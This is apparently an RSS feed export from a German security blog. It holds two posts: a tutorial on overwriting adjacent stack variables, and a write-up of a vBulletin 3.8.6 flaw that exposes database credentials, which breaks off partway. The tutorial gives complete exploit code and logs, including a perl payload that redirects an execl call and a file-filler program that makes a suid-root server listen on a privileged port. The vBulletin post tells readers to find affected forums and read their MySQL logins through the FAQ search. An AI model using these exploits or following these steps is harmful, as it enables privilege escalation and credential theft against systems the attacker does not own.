<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>J0hn.X3r</title>
	<atom:link href="http://j0hnx3r.org/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://j0hnx3r.org</link>
	<description>Interplay of Web Security and Exploiting</description>
	<lastBuildDate>Sun, 25 Jul 2010 23:45:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Advanced Stack-Bufferoverflows</title>
		<link>http://j0hnx3r.org/?p=627</link>
		<comments>http://j0hnx3r.org/?p=627#comments</comments>
		<pubDate>Sun, 25 Jul 2010 23:16:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=627</guid>
		<description><![CDATA[Eine Art &#8220;Tutorial&#8221;, welches ich von &#8220;frechdachs1337&#8243; zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten tutorial[0] &#8211; Einleitung Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen. Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) &#8230;.. LANGWEILIG! Doch was bleibt uns überrig wenn man zwar aus dem Speicherbereich der ursprünglichen [...]]]></description>
			<content:encoded><![CDATA[<p>Eine Art &#8220;Tutorial&#8221;, welches ich von &#8220;frechdachs1337&#8243; zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>tutorial[0] &#8211; Einleitung</p>
<p>  Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.</p>
<p>  Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) &#8230;.. LANGWEILIG!<br />
  Doch was bleibt uns überrig wenn man zwar aus dem Speicherbereich der<br />
  ursprünglichen Variable &#8220;ausbrechen&#8221; kann aber nicht bis zur RET kommt sondern<br />
  nur andere Variablen die im weiteren Programmablauf genutzt werden<br />
  überschreiben kann, ja dann muss man kreativ werden!</p>
<p>tutorial[1] &#8211; Praktische Erklärung anhand eines komplett beknackten Beispiels ;D</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">  <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
  <span style="color: #339933;">#include &lt;string.h&gt;</span>
  <span style="color: #339933;">#include &lt;unistd.h&gt;</span>
&nbsp;
  <span style="color: #993333;">int</span> main <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  	<span style="color: #993333;">char</span> h <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/uname&quot;</span><span style="color: #339933;">;</span>
  	<span style="color: #993333;">char</span> text<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">100</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
  	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
  		strncpy<span style="color: #009900;">&#40;</span>text<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">110</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> h<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	execl <span style="color: #009900;">&#40;</span>h<span style="color: #339933;">,</span>h<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></div></div>

<p>  Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.<br />
  h wird im nachhinein als Argument für execl benutz was für uns aüßerst<br />
  attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">  ./test `perl -e 'printf &quot;a&quot;x110'`</pre></div></div>

<p>  aaaaaaaaaa</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">  ./test `perl -e 'printf &quot;a&quot;x100 . &quot;/bin/ls\x00&quot;'`</pre></div></div>

<p>  [LIST DIRECTORY EXECUTED]</p>
<p>  Somit konnten wir das Überschreiben von unseren programmeigenen Variablen<br />
  erfolgreich auszunutzen.</p>
<p>tutorial[2] &#8211; Praktische Erklärung anhand eines komplett beknackten und<br />
              umfangreicherem Beispiel ;D</p>
<p>  Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.<br />
  Wir haben keine Root Rechte finden allerdings ein suid-root Programm<br />
  + Quellcode.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">  <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
  <span style="color: #339933;">#include &lt;string.h&gt;</span>
  <span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
  <span style="color: #339933;">#include &lt;sys/types.h&gt;</span>
  <span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
  <span style="color: #339933;">#include &lt;netinet/in.h&gt;</span>
  <span style="color: #339933;">#include &lt;arpa/inet.h&gt;</span>
  <span style="color: #339933;">#include &lt;strings.h&gt;</span>
&nbsp;
  <span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  	<span style="color: #993333;">int</span> s<span style="color: #339933;">,</span>c<span style="color: #339933;">,</span> i<span style="color: #339933;">;</span>
  	socklen_t addr_len<span style="color: #339933;">;</span>
  	<span style="color: #993333;">struct</span> sockaddr_in addr<span style="color: #339933;">;</span>
  	<span style="color: #993333;">char</span> file_line<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">60</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  	<span style="color: #993333;">char</span> recvb<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  	s <span style="color: #339933;">=</span> socket<span style="color: #009900;">&#40;</span>AF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>atoi<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">1024</span><span style="color: #009900;">&#41;</span>
  		<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1338</span><span style="color: #339933;">;</span>
  	addr.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span> <span style="color: #339933;">=</span> INADDR_ANY<span style="color: #339933;">;</span>
  	addr.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons<span style="color: #009900;">&#40;</span>atoi<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	addr.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>
&nbsp;
  	FILE <span style="color: #339933;">*</span>fp <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;prefs.cfg&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">65</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
  		file_line<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> getc<span style="color: #009900;">&#40;</span>fp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	fclose<span style="color: #009900;">&#40;</span>fp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  	bind<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>addr<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>addr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  	listen<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  	addr_len <span style="color: #339933;">=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">;;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  		c <span style="color: #339933;">=</span> accept<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>addr<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>addr_len<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  		recv<span style="color: #009900;">&#40;</span>c<span style="color: #339933;">,</span> recvb<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>recvb<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> recvb<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  		close<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #009900;">&#125;</span>
  	close<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></div></div>

<p>  Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die<br />
  kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem<br />
  Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.<br />
  Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,<br />
  viel Glück!</p>
<p>  Für alle anderen Schwachmaten:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">  ....
  <span style="color: #993333;">struct</span> sockaddr_in addr<span style="color: #339933;">;</span>
  <span style="color: #993333;">char</span> file_line<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">60</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  ....
  <span style="color: #202020;">FILE</span> <span style="color: #339933;">*</span>fp <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;prefs.cfg&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #339933;">----&gt;</span><span style="color: #0000dd;">65</span><span style="color: #339933;">&lt;-----;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
  		file_line<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> getc<span style="color: #009900;">&#40;</span>fp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  fclose<span style="color: #009900;">&#40;</span>fp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>  Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben<br />
  indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes<br />
  verwenden).<br />
  Was nützt uns das?</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">  ...
  <span style="color: #202020;">addr</span>.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span> <span style="color: #339933;">=</span> INADDR_ANY<span style="color: #339933;">;</span>
	<span style="color: #339933;">---&gt;&gt;</span>addr.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons<span style="color: #009900;">&#40;</span>atoi<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	addr.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>
  ...</pre></div></div>

<p>  In addr stehen alle wichtigen Daten zur Verbindung für den Server.<br />
  Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes<br />
  aussehen wenn wir z.b auf Port 21 lauschen wollen.<br />
  Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">  <span style="color: #339933;">#include &lt;string.h&gt;</span>
  <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
  <span style="color: #339933;">#include &lt;sys/types.h&gt;</span>
  <span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
  <span style="color: #339933;">#include &lt;netinet/in.h&gt;</span>
  <span style="color: #339933;">#include &lt;arpa/inet.h&gt;</span>
  <span style="color: #993333;">int</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  	<span style="color: #993333;">struct</span> sockaddr_in addr<span style="color: #339933;">;</span>
  	memset<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>addr<span style="color: #339933;">,</span> <span style="color: #208080;">0x0</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>addr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	addr.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span> <span style="color: #339933;">=</span> INADDR_ANY<span style="color: #339933;">;</span>
  	addr.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">21</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	addr.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>
  	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%x<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></div></div>

<p>  Dies gibt aus: 0&#215;15000002<br />
  Das bedeutet: 0&#215;1500 = Rückgabe von htons()<br />
                0&#215;00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.<br />
                0&#215;02 = Die sin_family.</p>
<p>  Somit brauchen wir uns nur noch ein Programm schreiben was uns die<br />
  pref.cfg entsprechend füllt und unser Victim starten.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">  <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
  <span style="color: #339933;">#include &lt;string.h&gt;</span>
&nbsp;
  <span style="color: #993333;">int</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  	<span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">66</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  	memset<span style="color: #009900;">&#40;</span>buffer<span style="color: #339933;">,</span> <span style="color: #ff0000;">'a'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">64</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">60</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #208080;">0x02</span><span style="color: #339933;">;</span>
  	buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">61</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #208080;">0x00</span><span style="color: #339933;">;</span>
  	buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">62</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #208080;">0x00</span><span style="color: #339933;">;</span>
  	buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">63</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #208080;">0x15</span><span style="color: #339933;">;</span>
  	FILE <span style="color: #339933;">*</span>fp <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;prefs.cfg&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	<span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
  	<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">65</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
  		putc<span style="color: #009900;">&#40;</span>buffer<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> fp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  	fclose<span style="color: #009900;">&#40;</span>fp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></div></div>

<p>  Hier unser finaler Log:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]</pre></div></div>

<p>  Ich hoffe dieser wichtige Abschnitt war aüßerst verständlich.</p>
<p>tutorial[3] &#8211; Nachwort</p>
<p>  Ich verzichte.</p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=627</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>vBulletin® 3.8.6 faq.php Vulnerability</title>
		<link>http://j0hnx3r.org/?p=623</link>
		<comments>http://j0hnx3r.org/?p=623#comments</comments>
		<pubDate>Wed, 21 Jul 2010 22:25:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploits]]></category>

		<guid isPermaLink="false">http://j0hnx3r.org/?p=623</guid>
		<description><![CDATA[Ist vllt schon dem ein oder anderen bekannt, aber ich find das echt interessant, dass einer großen und maechtigen Forensoftware wie vBulletin der Fehler unterlaufen kann, dass die MySQL Zugangsdaten fuer jede beliebige Person sichtbar werden kann. Die Luecke wurde heute nachmittag veroeffentlicht und vBulletin reagierte mit einem Patch darauf. Die faq.php wurde nur indirekt [...]]]></description>
			<content:encoded><![CDATA[<p>Ist vllt schon dem ein oder anderen bekannt, aber ich find das echt interessant, dass einer großen und maechtigen Forensoftware wie vBulletin der Fehler unterlaufen kann, dass die <strong>MySQL Zugangsdaten</strong> fuer jede <strong>beliebige Person sichtbar</strong> werden kann.</p>
<p>Die Luecke wurde heute nachmittag veroeffentlicht und vBulletin reagierte mit einem <a href="http://www.vbulletin.com/forum/showthread.php?357818-Security-Patch-Release-3.8.6-PL1">Patch</a> darauf.</p>
<p>Die faq.php wurde nur indirekt davon betroffen und dient eher als &#8220;Ausgabe&#8221;, da ein Fehler in den phrases dafuer verantwortlich war.</p>
<p><em>Wo befindet sich die Luecke?</em></p>
<p>Schauen wir uns mal die /install/vbulletin-language-de-du.xml Datei an und suchen nach &#8220;database_ingo&#8221; &#8211; was finden wir? Ah, interessant:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>phrase name<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;database_ingo&quot;</span> <span style="color: #990000;">date</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;1277901074&quot;</span> username<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Adduco&quot;</span> version<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;3.8.6&quot;</span><span style="color: #339933;">&gt;&lt;!</span><span style="color: #009900;">&#91;</span>CDATA<span style="color: #009900;">&#91;</span>Datenbank<span style="color: #339933;">-</span>Name<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'Database'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'dbname'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Datenbank<span style="color: #339933;">-</span>Server<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'servername'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Datenbank<span style="color: #339933;">-</span>Port<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'port'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Datenbank<span style="color: #339933;">-</span>Benutzername<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Datenbank<span style="color: #339933;">-</span>Kennwort<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;&lt;/</span>phrase<span style="color: #339933;">&gt;</span></pre></div></div>

<p>Es werden uns also unsere MySQL Datenbank Daten ausgegeben.</p>
<p>In der englischen Version sieht das ganze aehnlich aus /install/vbulletin-language.xml line 3701:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>phrase name<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;database_ingo&quot;</span> <span style="color: #990000;">date</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;1271086009&quot;</span> username<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Jelsoft&quot;</span> version<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;3.8.5&quot;</span><span style="color: #339933;">&gt;&lt;!</span><span style="color: #009900;">&#91;</span>CDATA<span style="color: #009900;">&#91;</span>Database Name<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'Database'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'dbname'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Database Host<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'servername'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Database Port<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'port'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Database Username<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span>
Database Password<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$vbulletin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'MasterServer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;&lt;/</span>phrase<span style="color: #339933;">&gt;</span></pre></div></div>

<p><em>Wie nutze ich das nun aus?</em><br />
Wir suchen uns ein Forum, welches von dieser Luecke betroffen ist, klicken oben auf &#8220;Hilfe&#8221;/&#8221;FAQ&#8221;, geben bei &#8220;Suchbegriffe&#8221; bzw. &#8220;Search Word(s):&#8221; dann &#8220;Datenbank&#8221; (bzw. database) ein und sehen dann, aha, erster Treffer:</p>
<blockquote><p>Datenbank-Name: vbulletin<br />
Datenbank-Server: localhost<br />
Datenbank-Port: 3306<br />
Datenbank-Benutzername: root<br />
Datenbank-Kennwort: my4moo</p></blockquote>
<p>Bzw. auf nem englischen Board:</p>
